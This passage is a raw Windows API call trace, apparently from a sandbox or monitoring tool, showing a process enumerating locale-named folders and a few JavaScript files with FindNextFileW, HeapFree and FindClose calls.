	[0184.632] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0184.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.632] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0184.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.633] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0184.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.633] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0184.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.633] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0184.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.633] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0184.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.633] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0184.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.634] FindNextFileW (in: hFindFile=0x4142c18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0184.634] FindClose (in: hFindFile=0x4142c18 | out: hFindFile=0x4142c18) returned 1
	[0184.634] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.635] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0184.635] FindClose (in: hFindFile=0x4142b58 | out: hFindFile=0x4142b58) returned 1
	[0184.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.636] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0184.636] FindClose (in: hFindFile=0x4142c58 | out: hFindFile=0x4142c58) returned 1
	[0184.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.636] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1
	[0184.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.637] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0184.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.637] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0184.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.637] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0184.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.637] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0184.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.638] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0184.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.639] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0184.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.640] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0184.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
